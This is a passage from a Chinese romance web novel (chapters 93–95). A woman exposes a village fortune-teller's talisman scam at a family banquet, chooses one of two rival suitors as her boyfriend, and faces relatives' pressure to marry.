“她没说什么!”邢葵双手按上桌面,就近取材,“就我们镇上有个王半瞎很灵,他也来了,我妈说她找他帮我求过姻缘,让我去还一下愿,我没同意去。” 一个神棍而已,他俩应该不感兴趣吧。 “怎么能不同意呢!”怎料,梁君赫双眼爆发出神采,“很灵是怎么个灵法?他在哪儿呢?我也要找他算算姻缘!” “……”忘了,邢葵跟梁君赫初见时,还误踩中了他的桃花符,这人真信。 第93章 王半瞎不是天生眼盲,梁君赫非要找他算算姻缘,邢葵只好带他去。 江玉鸣走在她左边,表示他也感兴趣。 邢葵真的无奈,必须提前和两位说,这人百分百骗子,别信他的话。 “他也是我们家一个亲戚,是我爷爷干兄弟儿媳妇的表弟,大概十几年前吧,王半瞎打工时被石灰迷了左眼,自认为不要紧,不肯去医院看,后来左眼视力受了损。 再后来只要一有人嘲笑他眼疾,他就大喊大叫嘴里神神叨叨,镇上传来传去,久而久之,传成他那只眼能看见鬼神。 一些人去找他看病算命,之后他就成了十里八乡口中的‘大仙’,人人喊他王半瞎、王大仙,他的本名都没人提了。” 这个故事,愚昧荒诞,但凡有脑子的人都会质疑王半瞎造假。 “那不一定呢,多少科学家研究到最后疯魔,兴许这位王半瞎真是得了奇遇。” 梁君赫嗓音清甜,脚步轻快,细腻雪白的脸上,悬着期待的笑意。 聪明到极点反而会信玄学是吧? “那王半瞎也不是!江医生,你不会也信吧?” 邢葵感觉江玉鸣今天有点低调,不仅穿着西装和黑衬衫,行事说话上也不似以往轻佻放肆。 他连走路都比过往稳健,颇有种厉乘川的风格。 沉稳端庄,恰是长辈最爱的类型。 邢葵心里“噢”了一声,又看看顶着一头粉发谁惹怼谁的梁大少爷,无声地在跟梁君赫竞是吧? 这两表兄弟,各自一千个心眼子。 “我不信,我怕他作妖。”江玉鸣讥嘲了下梁君赫。 “哥,怎么说你表弟我坏话呢,你放心,你不仁我不会不义,待我跟葵葵交往,我送你一箱面纸。”梁君赫冲江玉鸣露齿笑。 “送面纸?”邢葵好奇。 “让他哭个尽兴!” 服啦服啦,这塑料兄弟情。 客人没到齐,酒席未开场,邢葵家餐厅长方形的饭桌旁,王半瞎正坐在正东方,仿佛他才是房子的主人,厅内全是人,有一种跟他说话都得排队的架势。 被四乡八镇推崇的大仙左眼戴着黑眼罩,模样平平无奇,肚子和在场的男性差不多便便,但用着比旁人更好的手机。 如果邢葵在场一定认识,她前段时间换手机时做过攻略,是某品牌的最新款,要九千多。 “好了,今天的东道主不是我,大家有什么要问的呢,吃完饭再说。”王半瞎驱人,“春霞你来,寿星的面子我要给。” 邢母激动又小心地过去:“您太客气了,去年我不是向您替我女儿求过姻缘嘛,效果特别好,真感谢您。” “那就好啊,客气什么,主要是你心够诚。” 李正军弯腰向王半瞎递烟:“软中。” 王半瞎用他露在外的一只眼瞄了眼,接过放他的烟盒里。 “就是效果太好了!不止一个人在追我家姑娘,我想请您算算,哪个是我姑娘的正缘啊?” 邢葵到来时正听见最后一句,同时江梁两位表兄弟也听见了。 正缘,指天注定的缘分,能一生相随、白首偕老。 歘地,梁君赫高挑的身影穿梭过所有人,差点撞倒李正军,拉开王半瞎斜对面的椅子坐下。 一双眼尾弯翘的眸子,直勾勾地盯着王半瞎,眨啊眨啊眨:“算吧。” 他们信不信丝毫不重要,关键是邢母信,这是能从邢母那儿得到小红花的好机会。 “见笑,他一向不懂礼数。” 江玉鸣悠然走到邢母身边,压住一身艳气颔首。 他有他的小心思,早在许野见家长的那日,江玉鸣就来过兴虹镇。 他和厉乘川他们长相不分上下,奈何这里的人不偏好他这款,会觉得他妖精妖怪。 在外貌上他和梁君赫比不占优势,就得在为人上下功夫,想必日后邢母会觉得…… 邢母:“没事儿,小伙子性情中人。” 江玉鸣:“……”她怎么不按常理出牌? “都安静,让大仙算,我跟江哥,谁是葵葵的正缘?”梁君赫发号施令。 “算,既要算,我作为涉事人也得在场。”江玉鸣心里冷笑,拉开梁君赫旁边的椅子同样坐下。 邢母没发觉两人间利器横飞的暗流,关切地看向王半瞎:“请您掌掌眼。” 邢葵捂住双目,这一刻她恨不得她也是瞎子,两位当真时刻绞尽脑汁地竞争,想争出个结果,都争到玄学上了。 不过她也好奇,没一点真本事的王半瞎要如何应对,她坐到江梁对面。 压力给到王半瞎,他还没意识到桌上两兄弟的棘手性,老神在在地喝了一口普洱茶。 “行,今儿我看在春霞的面子上,把杂人都清出去。” 屋子里只剩下邢葵一家和江玉鸣梁君赫,王半瞎放下茶杯,解下左眼的眼罩,一只明显无神失焦的病眼露出。 传闻中,能见到鬼神的眼睛。 邢母和李正军立刻闭上嘴,怕冲撞菩萨,连呼吸都不敢过重。 王半瞎扫量梁君赫、江玉鸣,又突然沿着他们看向邢葵,咂了一声,惊呼:“哎呀!真没看过这样的!你们两个都有红线连到葵葵身上啊!” “那谁的红线更粗?”梁君赫问道。 桌面装糖碗里放了话梅糖,邢葵拿了一颗剥糖纸,梁君赫反应快,这一下怕是险些问住王半瞎。 他看向空气好几秒,应当在思考,嘴上碎碎念:“不能说?能说?菩萨,请您行行好,能说,好。” 王半瞎坐正,郑重地望向二人,“看不出粗细,你俩头上都有一只妖怪。” 话梅糖在舌上绽放出酸酸甜甜的滋味,邢葵吃糖,遏制嘴角讥诮。 邢母信任王半瞎:“妖怪?怎么回事啊!” 梁君赫前倾上身:“是啊,怎么回事啊?” “先说说小兄弟你。”王半瞎看着梁君赫,“ 你头上有一只大蜘蛛,八只脚,吐的丝缠绕红线,让你的红线瞧不清楚。 你们家,是富贵人家吧?发家的时候得罪过人,那人死后化作怨念蜘蛛,要让你家子子孙孙人生不顺。” 邢母:“天呐。” 梁君赫:“天呐。” 江玉鸣扫了他们一眼,这种瞎话他们也信?“那我呢?” “你,哎。”王半瞎深深叹气,目光投向江玉鸣头顶,犹如见到某种惊悚事物,赶快收回,“这位朋友,经常游走在生与死之间吧? 你头上有一只红眼猴子,也是凡人怨气所化,这猴子一直在甩动你的红线,我也看不清啊。” 邢母:“天呐。” 梁君赫:“天呐!真可怕,那大仙别管他了,先帮我,怎么除掉蜘蛛?” 王半瞎:“哎,相逢即是缘,我帮你求求菩萨,菩萨,求您。” 梁君赫对王半瞎看的地方合十双手:“菩萨,求您。” “真的吗?真的?好!”王半瞎似得到菩萨回应,翻起随身包,取出画符工具,“稍等,菩萨要指点我画一张符。” 咔嚓,邢葵咬碎话梅糖,见所有人看向她,讪笑:“你们继续,继续。” 太好笑了,王半瞎早就知晓梁君赫是富家少爷、江玉鸣是医生,完全是在根据他们的情况现编。 试问哪个富豪家庭在发家致富途中没得罪过一个人?哪个医生没见过生与死? 王半瞎就是想卖他的符。 邢葵盯着那张明黄色的纸,餐桌下的一只手捏起来。 黄色是她最喜爱的颜色,唯独王半瞎符箓的颜色例外。 这张纸,看碟下菜,售价从五十到上千不等,十几年来,王半瞎靠着它们不知骗过多少人。 梁君赫询问:“多少钱啊?” 邢葵心里默念:一千。 王半瞎收起朱砂笔:“就收个一千吧,给菩萨供香火。” 梁君赫喊道:“一千?也太少了吧!” 难得见到如此冤大头,王半瞎吃惊地望望他,停顿一下:“那你看着给吧,菩萨哪会计较多少,多啊少啊都是我们的心意。” 梁君赫点头:“我懂,我就普普通通加个零。” 一万!王半瞎将符箓交给梁君赫,手腕都兴奋得抖。 “拿住了,回去后在四月初四夜半十二点零四分,面向东方烧掉,磕头四下,虔诚默念所求,菩萨会出手除妖。 万万记住!时间、方向、磕头次数和虔诚,一样都不能少。 还有这位……”不知道是不是也是冤大头,王半瞎内心雀跃。 砰!梁君赫猝地拍了下桌面,刚才还王半瞎说什么就是什么的人,骤然脸色变沉:“叫他干嘛?” 王半瞎吓得全身抖了抖。 梁君赫微微地笑,抬眸傲视,骄横的气场尽数压向王半瞎一人,让他霎那间腿软都想下跪。 清澈明朗的声线里暗藏杀机:“没有菩萨想替他除妖对吧?” 梁少爷,根本不信王半瞎鬼话,他只是想利用王半瞎在邢母那里加分。 什么头顶都有妖怪,既然他除掉了江哥没除,那正缘就是他了对吧?王半瞎,说话啊。 坑蒙拐骗十几年,王半瞎生平头一回感觉监狱就在眼前。 “我问问菩萨……是,这位朋友,你头上的猴子怨恨深重,恐怕,我也爱莫能助。” 梁君赫舒坦,甜甜地对邢葵笑:“葵葵,看来我是你的正缘!” 当她瞧不出来梁少爷刚威胁神棍了啊! 邢葵无语,也就她家长看不出,她妈此刻在心里疯狂给梁君赫贴小红花呢吧。 “他是骗子。” 江玉鸣蓦地开口。 梁君赫赢下一局,他自要扳回一局,他淡定又笃定,一句话直接撕掉梁君赫刚获得的小红花。 骗子被说是骗子发火:“血口喷人!你居然敢不敬菩萨,活该被怨念缠上!” 梁君赫要小红花:“江哥,不是正缘你急了吧。” 邢母打圆场:“别啊……” 江玉鸣质问:“怨念,我看不见,难道你就拿不出其他证据吗?” “我当然有!” 人会对未知怀有敬畏心,江玉鸣有点在意,为何邢葵在带他们来时,百分百肯定王瞎子是骗子。 “不信你问葵葵,葵葵以前中邪,就是我救回来的。” 江玉鸣梁君赫同时眉梢一蹙,邢葵捏紧拳头,一瞬间失态。 转瞬,她调整过来:“是,你们不知道,那还是我高中的时候,那时,同学都是十几岁,少男少女情窦初开,很多人会问‘你喜欢谁’。” 邢葵自小就成绩好,到了高中也是精英班前几名,某次活动,她被选中和另一个班级的班长一同主持。 一开始,有同学说,他俩站一块很配。 后来谣传成他们在谈恋爱。 事实上,那名班长的确在追邢葵,那时的她青涩年少,也弄不清楚她喜不喜欢对方,可她没无知地答应。 然而,学校是个小型社会,大学是,高中也是,有人向班主任告她早恋。 那天阳光灿烂,少年时的邢葵抱着文件夹,正要从走廊进教室,不做调查的班主任愤怒冲过来,甩了她一巴掌。 那天的阳光特别好,邢葵顶着巴掌印,被班主任罚站在走廊,在人来人往中,看着太阳从东方移到西方。 再之后,请家长、看着家长弯腰向班主任道歉、被认识不认识她的人蛐蛐…… “反正就是我成绩下滑,多亏王大仙看穿我是遇了小人中了邪,给我开了一周的符水,我喝完后什么病都好了。” 邢葵笑着,江玉鸣却感觉她在哭。 以前邢葵和江玉鸣说过,她没谈过恋爱,只在高中有过没发芽的一段。 许野的母亲曾查过邢葵过往,说她从幼儿园到大学,就高中有半学期成绩不佳。 前段时间的金主绯闻中,有人声称是邢葵高中同学,说她高中就跟男生不清不楚。 原来背后竟是这样一段故事。 江玉鸣之前来小镇,曾听到镇上人闲谈邢母请王半瞎帮邢葵求情缘,原来邢家长辈十几年前就在信这个骗子。 不止邢家,这场酒席上所有家庭,这个镇上所有家庭,乃至镇外数不清的人,都是井底之蛙。 “胡说八道!”梁君赫抓住王半瞎面前普洱茶,往他脸上一泼,和江玉鸣同心,“死骗子,敢害我葵葵,恶有恶报,你会遭报应的!” 他跑到邢葵身边,牵她的手摸脸,心疼不已,“葵葵放心,以后一辈子都有我在。” 邢葵抽手:“别整肉麻的,我没事,大仙别生他的气,童言无忌。” 事情已经过去很久了,邢葵早就放下,都是愚昧造成的,她现在千方百计解决催婚,也正是出于此。 没办法叫醒甘愿沉溺在梦中的人,只能她想方设法地逃。 中午的酒席结束还有晚上的,下午梁君赫在邢葵房里仍在骂王半瞎,话痨男骂个不停,她都笑了。 “该死的东西,下雨天天雷劈他都嫌脏,还有你爸妈,你高中明明就是精神受了创,不想着为你转学带你看心理医生,找大仙,我服!蠢得我白眼都没力气翻……” 邢葵坐在书桌边,手撑住额头:“喂,当着我的面骂我妈。” “葵葵别打岔,我还没骂够!你妈又不在,让我骂一下!” 邢葵微怔:“我发现一件事,梁少爷,你怼天怼地横行无忌,那王半瞎都被你骂跑了,怎么没当着我妈的面说她一个字?” “那肯定不能骂啊,葵葵,我跟你说,我妈也笨蛋,追生儿子把自己生死了,她要活着估计跟你妈一个德性,可那毕竟是妈妈,要是有人跟我妈说她不好,让她伤心,我必定跟他没完!” 梁君赫挥动拳头,漂亮含怒的眼亮晶晶,“葵葵,我都懂的,你的目标,你的在意,你的难处……放心,我是你的铁杆粉丝。” 也许是风从窗户吹进了邢葵心里,她的心兀地跳了下。 周镜带来身处黑暗者渴求的光芒,许野带来小心生活者渴望的赤诚,梁君赫,代表的是上下求索者渴盼的理解。 第94章 梁君赫依然在骂。 “等咱们走了,我要合法地送王半瞎去坐牢!一定不让镇上人发现跟我们有关系。 卖符等于卖个念想,可他居然还让人喝符水,害到人他十条命都不够偿还。 还有你高中胡乱造谣的同学、打你的班主任,还有那个废物班长,我要一个个查出来给他们教训!” 他在她的卧房走来走去,午后的阳光斜落,将他的发染成金粉,那双时常满溢傲气的好看桃花眼饱含愤怒,小虎牙尖尖的,像想将欺负过她的人全部咬死。 他谁都骂,自邢葵到家起,梁君赫一点气都没肯受过,此刻他也在骂她的父母。 却是悄悄的,没当着邢母的面骂。 因为梁君赫说,那毕竟是妈妈。 简单的话语,道出梁君赫真正地理解邢葵,她的处境、她的目标……或许是他也感受过来自愚昧妈妈的爱吧。 愚昧让母亲做出愚蠢行径,可母亲做的时候,没认识到那是伤害孩子。 比如喝符水往事,邢母是真信王半瞎,真想帮孩子驱邪。 再比如催婚,梁君赫的母亲若在,梁昭然若没结婚,梁母大概也会催她结。 因为她们认知中的人生就是这样子。 很多话,很蠢,发到网上要被骂出万丈高楼,说“这种妈妈要了干什么”等等。 可世界不是非黑即白的。 梁君赫骂什么她已经听不见了,邢葵耳边都是心跳声,咚咚的,像春雷。 他能理解她。 他能与她共鸣。 第一次,邢葵在解决催婚这条路上找到了真正的同伴。 “废物班长谈没谈不知道站出来说吗?身而为人一点担当都没有,他居然还能跟你有绯闻,他也配&$a&s&……” “那个,你方便把江玉鸣叫进来吗?关于你们两个的争斗,我有结果了。” “可恶高中跟葵葵有绯闻的怎么不是我,啊什么?” 小老虎一样,到处攻击人的梁君赫愣住,喉结滚动,精致的下颌线绷起来。 “葵葵我、我做错什么了,你别选江玉鸣,我刚是不是不该骂你妈,我收回去,你给我一次机会,当没听见。” 梁君赫停住脚步,水粉色唇瓣不安地嗫嚅,指尖紧张地蜷缩,一身尖刺也立时收起,化作一只乖巧小狗狗。 邢葵想起毛桃,皮上有会让人痒的细密绒毛,去掉皮果肉甜蜜多汁。 没什么,梁君赫仅仅跟她说的,也没用恶臭的脏话。 不过也可以小小地闹他一下。 “去叫江玉鸣。”邢葵故意使坏,遗憾叹息,“你杵在原地也不能改变我的决定。” 梁君赫委屈脸,脊梁都似被打断一节,哀哀怜怜慢慢吞吞又喊了声“葵葵”,见邢葵不改颜色,一步三回头地开门去叫人。 江玉鸣和梁君赫分别是医生和明星,中午吃完饭有不少人围着他们,身体有点小毛病想白嫖问诊的、要签名的,诸如此类,梁君赫脾气大,赶跑了来找他的人,但江玉鸣八面玲珑人情练达。 找到江玉鸣时,他正被七八个中老年人围着,梁君赫臭着一张脸,把他喊出来。 “一个骨科医生给他们看其他病,也不怕看死。”刚走一步梁君赫就骂骂咧咧。 “我学过一些中医。”江玉鸣散漫地笑,“羡慕啊?来当我爸的儿子啊。” “呵,你今天请假你爸知道吗?” “自然,我跟父亲说,我要来追邢葵,他立刻批了我的假,并交代,‘绝不能输给梁家那个废物’。” 梁君赫停步,白皙的手捏成拳头,斜视江玉鸣,唇角勾起一缕冷笑。 “那你惨了,你要输了。” 江玉鸣微蹙眉头,一只手收进西装口袋,衣服下手臂线条绷起,如感知到凶险提起的手术刀。 梁君赫脖子仰得似天鹅颈,略微侧着脸不正脸对江玉鸣。 “快走,去葵葵那里迎接你的失败。” 他看起来傲慢,大步往前走,步伐却透着压不住的烦躁。 江玉鸣在他后面停了停,若有所思,跟上去。 房门打开,邢葵站在门边:“江医生,你先进来吧,梁少爷,你在外面等等。” 梁君赫眼睑微颤,提步就要抢在邢葵关门前钻入,江玉鸣抬脚一踢门,砰,门关上。 “该死,就你会踢,回去我要把你家大门踢烂!”梁君赫气呼呼的,转身想走,又转头盯门,又转过身,蹲下。 抱住膝盖想一个人委屈,看看左右,怕有人看见,又倏地站起来。 扭头再次盯门,嘴角下撇,漂亮的脸蛋笼上一层阴影。 两秒后,梁君赫趴到门上侧耳偷听。 卧房内,邢葵领着江玉鸣走到最内,家里前些年新装过修,为跟别家攀比,用的材料不廉价,隔音效果还行,在里面小点声谈话外面听不见。 “可以说了葵葵,我失败了?” 蓦地,温暖的气息从背后拥上,江玉鸣下颌搭到她颅顶,讲话语气压抑深沉。 当局者迷,梁君赫以为是江玉鸣赢了,可邢葵性情温和,会到最后才残忍通知输家吗? 江玉鸣看似平稳的音线隐隐抖颤,环在邢葵腰间的手,手背因为用力筋脉凸出,他不能接受。 “那个贱人,比我赢在哪里?” “江医生,这一个月,我拒绝过你很多次了。” 邢葵抓住腰上的手,想扯开,“你让我正面跟你对话吧。” 一个月来,她尝试过许多次拒绝,江玉鸣每次要么阻止要么搪塞。 这一回,江玉鸣终于松开手,邢葵转过来,正面对着他,四目相视,安静在卧房蔓延。 邢葵呼了下吸,“你挺好的,江医生,和你相处的日子很美好,只是,我很难对你动心,你再逃避也得面对这个事实,十数个月,我都没对你动过心。” 江玉鸣清楚,他只是不想听:“是你的注意力在周镜、许野、梁君赫上,是我没动手抢。” “不是的。”邢葵摇头,“我跟你相处的时间并不短,人心难控,心不是追了才能动,我是因为……江医生,你别捂住耳朵。” 江玉鸣抬手捂住左右双耳,狭长的眼里翻滚黑云,他在用眼神告诉她,他不要听。 直觉让江玉鸣觉得,邢葵要说的理由,会将他踢出兄弟战争。 邢葵无奈地望着他,踮起脚,凑到他耳边:“你可知我妈为何对你印象深刻、时隔一年也能认出你吗?” 来到酒席时,邢母一眼就认出江玉鸣是当初的医生。 而当初在医院时,邢母见到的江玉鸣戴着口罩。 她那个年纪的人,很少端详医生的证件照,就算看了,几眼而已,经过一年多光景,就算没忘,也难以仅仅一眼就识别出人。 除非,邢母特别注意过江玉鸣,更在后续日子里不止一次地回想过。 江玉鸣黑长浓密的睫毛轻颤,覆在耳上的手松开些许。 邢葵抿抿唇,“你还记得吗?我住院那时,亲戚打电话,我妈接完电话,批评我过年没向他们说吉祥话,然后……你当着她的面骂她,书读少了。” 江玉鸣一怔,手缓慢下落。 “她很介意。她书读得少,这是事实,如果你只跟我讲,我不会生气,可你直接让我妈她伤心了,所以我也介意。” 看江玉鸣放下手,邢葵也落下踮起的脚,头亦低下来。 “抱歉,江医生,我明白,对当时的你而言,我们母女都是路人甲,你说什么尽可从心随欲,但事情,它已经发生了。” 江玉鸣捏拳,指甲都要掐紧掌肉中。 该死的厉乘川!都是他那时要他唱红脸! 其实江玉鸣记得这件事。 和邢葵自初识迄今的每一点他都没忘。 相识之初,江玉鸣言行轻慢无所顾忌,坚信邢母又不会是他丈母娘,得罪何妨,谁能想到未来他会追着邢葵舔。 好啊,厉乘川那个闷不吭声的贱人,相遇伊始就给他埋下一颗地雷。 他本有希望弥补,今日见到邢母,假使江玉鸣多注意一些邢葵母亲的反应,他就能猜到邢母与他的芥蒂,或许能去化解,或许邢葵内心也对他有过期待。 但他没有,江家和梁家虽都封建,江玉鸣和梁君赫的各自经历却不同。 梁母追生儿子,江母抛弃儿子,被抛弃的江玉鸣远不及梁君赫重视“妈妈”这一角色。 他俩做对照组,从骨子里,就会是梁君赫更吸引邢葵。 他输了。 邢葵有点担心江玉鸣,忐忑地去打量他。 他抬起一只手,盖住她的脑袋:“低头,让我调理一会儿,和梁君赫竞是我愿意的,输,我也认。” 邢葵被压低头,视线落在江玉鸣的皮鞋上,平日里江 医生装扮偏向休闲舒适,很难得见他穿正装。 “江医生,你有什么想法直接说吧,能办到的我一定办到。” 江玉鸣闭着唇,随后道:“那我要你别跟梁君赫在一起。” 邢葵摆手:“那不行,他可是目前最合适的对象,你换一个吧。” 江玉鸣:“那我要你和你母亲忘记那件事。” 邢葵:“我又不会魔法,换一个换一个。” 江玉鸣:“那我要当小三。” 邢葵:“……” 卧房外,还不知他即将得到升任正宫机会的梁君赫,趴在门上听不到里头声音,急得来回走动,鞋底都要和地面擦出火星。 门上了锁,他们在里面干什么要上锁? 葵葵那么迷人,江哥肯定不到三秒就想亲她!不行! 梁君赫跑走,片刻后带着拿着钥匙的邢母回来:“真莫名其妙,门突然就锁住了,葵葵和江哥被困住出不来。” “别着急别着急,我这就开门。” “等等。”梁君赫拦住邢母动作,冲邢母笑,万一江玉鸣在里头亲邢葵嘴,让邢母撞见,江玉鸣就成女婿了,“您去忙吧,我们几个私事。” 邢母不懂,但她不插手邢葵其他事,交出钥匙。 确认邢母离去,梁君赫攥紧钥匙,唇角挂上嫉妒,飞快地插钥匙开门。 “放开我葵葵!” 门内,江玉鸣正要往邢葵额头落一个吻,梁君赫冲过去横到他和邢葵之间。 江玉鸣真想一刀抹上梁君赫脖子,他好不容易哄邢葵给他一个告别吻,还只亲额头,都没亲到。 他在内心一刀一刀地捅好兄弟,嘴角风情万种地拉开:“哟,来得真慢,这都第七个吻了。” 邢葵:“??” “葵葵真甜,可惜你以后尝不到了,她是我女朋友了。” 邢葵:“??” “你。”梁君赫难以说出完整句子,像一个活在热带雨林的人,忽被送到极地冰川,唇瓣颤抖。 单薄的身躯挡在邢葵身前,心跳在房间里混乱地响,后背如同一张箭在弦上的弓。 “别开他玩笑了。”邢葵拉住这张弓,“成功的是你,梁少爷。” 梁君赫一滞,侧过眼看她,波动泪花的眼里写满不可思议。 邢葵冲他点了一下头。 梁君赫眨眼,数秒后擦眼睛,高高翘起唇角,扭过脸,喜滋滋看向他的表哥。 “哥,原来日后亲七次、七十次、七百次的是我啊。” 邢葵:“?”七百次,你也不是省油的灯! 江玉鸣戏谑地笑,怎甘向梁君赫显半分弱势:“赢了一时而已,笑到最后的未必是你。” “反正现在是我,出去吧哥,别打扰我们男女朋友二人世界。” 梁君赫傲慢地挥手赶人,江玉鸣定定看了眼邢葵,提步走出卧房。 邢葵看向梁君赫,他已然得意得无法言喻,那气焰,高到能上云霄摘星,她失笑:“我还没说要跟你交往,你先听我说。” 梁君赫乖乖,但偷偷伸手去牵邢葵的手:“葵葵你说。” 邢葵移手:“解决催婚上,我遇过两回挫了,说不定,你也不能让我成功,到时我们可能还会分手,我必须提前问你,这样你也要和我交往吗?” “我早做好准备了。”梁君赫一下抓住邢葵手指,“那也就是成为前男友,江哥还没那待遇呢!再说我又不一定失败,指不定我就是正确的答案!” 阳光下,他的笑容灿烂,颇感染到邢葵。 外貌、家庭、年龄……想不到梁君赫还有哪点扣分项,他人也正就在邢葵老家,既如此,还等什么? “我们见我家长试一试吧。” 邢母和李正军被叫到卧房,邢葵让他们坐下,站他们面前牵住梁君赫的手。 “是这样,我不演了,梁君赫就是我男朋友,你们要发表什么看法吗?” 李正军看法她不在乎,不过邢母在乎,就顺便问问。 话音落下,两位安静,需要时间消化突如其来的消息。 “太好了!”李正军先喊道,江玉鸣和梁君赫他就喜欢梁君赫,江玉鸣一个医生有什么钱。 “太好了!”邢母第二个喊道,她搜过梁君赫,“女大三刚好抱金砖,这回外面不会再传闲话。” 邢葵提到嗓子眼的石头落了二分之一,剩下二分之一在于梁君赫能不能替她拖延催婚。 “你们很满意他?” “那绝对的啊,他有哪里让人不满意的?是吧,贤婿。”李正军兴奋地喊梁君赫。 梁君赫高高兴兴地点头。 “但有件事我得跟你们说,梁君赫身上有不少代言,品牌签约要求他期间不能结婚,所以……我跟他暂时结不了婚,你们也能接受吗?” “唷,多久啊?”邢母疑问。 “三年。”邢葵说了个不短不长的时间,以期提高成功率。 啪,李正军拍了一下手:“完全没问题啊。” 邢母也欣慰笑:“是啊是啊,不算长,有个定数就好。” 两人言笑晏晏,邢葵懵了懵,她,成功了? 第95章 梁君赫条件符合父母要求,暂时不能结婚的限制也被认可。 邢葵的世界霍然无声,邢母喜上眉梢,这是她今日最好的礼物;李正军眉飞色舞,他又得到一位富家女婿。 成功,乍地降临,邢葵一时半霎难以回神,右手被握紧的感觉拽回她的神智,梁君赫满面春风,神采飞扬。 哪有半点拍杂志录综艺时面瘫的样子。 邢葵听见她的喉间溢出笑声,可能,真就成功了,至少当下,她能畅快地呼吸! “哎呀!我得赶快将这个好消息分享给你婶婶她们!” 喜形于色的邢母一拍大腿,人都像年轻了十岁。 “等一下妈,梁君赫身份特殊,请你先保密,公开的事得先我们跟经纪公司商量商量。” “泄密了被记者提前得知可能会乱写。”梁君赫补充。 邢母“啊”了声,伸手放到嘴边,做了个拉拉链的动作。 见李正军只点头,她冲他眉头一皱,也抓起他的手指到嘴角拉拉链。 邢葵浅浅地笑,窗外,邢母和亲戚们喜笑连连,看得出打心底开心,瞥见站窗口的她,还冲她挑挑眉使使眼色。 思想难以扭转,催婚能靠这样暂时告一段落也好。 就连嗅到的空气都变得更加清新,邢葵转头,梁君赫正在旁边环抱双臂,不知在想什么,傻乐。 她晃了晃手:“醒醒,大白天就吃褪黑素。” 梁君赫低眸,眼里装入她的模样,抓住她的手:“我可没做梦,这是现实,我抓得到你。” “那我们来聊聊现实,恭喜你,在我家长那里通关了。” “对!”梁君赫倏地大声,吓了邢葵一跳,他骄傲无比,假如他背后有尾巴,能抬到天花板,“是我通关了,周哥许弟都没做到。” 邢葵莞尔:“也不是吧,周律师我家长也是满意的。” 梁君赫哼哼,分出一只手,白嫩的食指在空中画叉:“单满意有何用,谁让他身上没限制条件,叉出去!” 他真有意思。 以前对她张牙舞爪的也是他,一边亲、一边嘴硬说“我都是生病了你别多想”的也是他,如今黏黏甜甜的也是他。 “你还没问,为什么我会喜欢你。” “对,快告诉我,我好发挥所长,把男的女的都比下去。”梁君赫挥手。 哪有女的……周梨?这他都吃醋。邢葵张唇,三言两语和梁君赫简述。 说完,她郑重:“所以你愿意跟我不以结婚为终点、开始交往吗?我必须再次说明,我的目标是逃出催婚,如果有一天——” “如果有一天,我也不是答案,我会接受分手,我都懂。” 梁君赫接着她话说道,唇角翘成愉悦的弧度,“但不接受放弃葵葵,真到那时,我就把群名改成‘进击的前男友’!” “群?什么群?”邢葵愣了下。 “就我跟周哥许弟有个群,不重要不重要。”待会儿就把“请前辈多多指教”群改成“都是我手下败将”,狠狠嘲讽一番周镜许野。 此时梁君赫心里至少有一千句炫耀的话,不过,“我也要向葵葵坦白一个秘密。” 他拿出手机,打开某抖小号,“葵葵你看。” 邢葵扫了一眼,是私信聊天页,页面左边用户id为“天天奇妙历险”,右边用户id为“惹我的人娶不到老婆^_^”。 倒数第一条信息,是她发的,问小粉丝要不要《十万问》风衣周边和梁君赫的签名照。 而小粉丝的最后一条信息,是四个字:“命运弄人”。 原来是这个命运,这个弄人。 邢葵很少沉默这么久,梁君赫都不安起来,抖着收回手机:“要不你当没看见?我来回答葵葵上个问题吧,愿不愿意跟葵葵交往,答案当然是——啊——” 一只手扭住他的耳朵,邢葵皮笑肉不笑:“我给你发信息你都不回,害我白担心!” “我不知道怎么回,葵葵要断了,我现在回。” “晚了!”两人在窗边容易被看见,邢葵去拉窗帘。 “不晚,我回:我更想要葵葵的风衣和签名照。” 刺啦,窗帘拉上,梁君赫压着邢葵在窗户边,侧脸往她的手上蹭。 细小的绒毛牵起细密的痒,微弱的光线中,他的粉发似夜间桃花,眼神如燎起的火星子。 “我回:我愿意。” 邢葵发自内心地笑,梁君赫缓慢低头凑近她,她曾因为小惹总同她推销偶像,对远在天边的梁君赫不喜。 然后梁君赫从天边来到了她身边。 小惹就是梁君赫。 小惹没出事,真好。 一掌拦住梁君赫的嘴:“亲什么亲,快出去吧,我俩老待在房里会被传闲话。” 梁君赫惋惜:“葵葵,氛围正好呢,也行,走吧。”来日方长,他先去嘲笑那几个没来日的兄弟。 下午大棚里人不多,都是家就在附近的亲戚,三三两两的话家常,打扑克牌的、抽香烟的……以嗑瓜子聊八卦的最为恐怖。 千万不能靠近他们,甚至不能出现在他们眼前,否则他们的话题会移到你身上,没结婚的催结婚,结婚的催生子。 只是邢葵是今日寿星的女儿,总留在房中不出现也会被说,不如出来见招拆招。 东北方向,几位长辈围着一位老妪,八十多岁,矮小黝黑,干瘦如柴,坐在塑料凳上,枯槁般的手搭在旁边老人助行器的扶手。 那是邢葵爷爷唯一的姐姐,即邢葵的姑奶奶。 年轻时,这位姑奶奶招的婿家暴,年长了,她拉扯大的儿子也家暴,岁月在她脸上刻下一条条沧桑的痕迹。 旁边站着的人,有四婶、姑奶奶儿媳妇等等,四婶眼睛一对上邢葵,她就知道她要把她拉进谈话。 果然,四婶亲切地招呼:“葵葵来哦,我们刚还跟你姑奶奶夸你呢,上节目给贫穷人家捐了一百万,了不起啊。” 这些中老年人自不可能去看综艺,都是听小辈讲的。 “你说说,捐了干什么呀,拿回来多好。” 邢葵走过去:“节目组规定的,我总不能违法,再说了,做善事嘛。” 一旁亲戚夸赞:“葵葵真的,从小心肠就好。” “是哦,小时候赶集看到乞丐,手上就五块钱还要都给人家,大家记得不?” 她们声声赞赏,邢葵镇定回应,心知这些人脑子里没装什么有营养的东西,不出几句话就要催她婚。 “哎呀,一晃那个扎两条辫子的小丫头都长大了,才出生你姑奶奶抱你那会儿,你就这么大。” “是啊。”被点到的姑奶奶笑得和蔼可亲,长者口吻慈爱,“不仅人大了,事业也有成,就是什么时候请我吃喜糖啊?” 邢葵:我就知道! 就为少听点类似话,她今年过年返家几天就回了京江,一月份她周岁二十九虚岁三十的生日也没办酒。 “喜糖啊,知乐结婚姑奶奶没吃到吗?” “那怎么能一样,姑奶奶想吃你的。” “怎么不一样,都是姑奶奶孙女辈。”邢葵笑着问,很多老人家婚姻不幸,还要催小辈结婚,有的儿子也不是好东西,还要盼儿媳妇生儿子。 “不一样哦。”姑奶奶叹了口气,“你哦,争取今年就把婚事办了,我年纪大了,不晓得还有几年可活,你的喜糖,我怕再过几年就吃不到了。” 她要死与她何干,为什么邢葵要因为她想吃喜糖,就要为人生仓促选伴? 邢葵真想驳斥,但她更清楚,四婶就等着她不给姑奶奶面子。 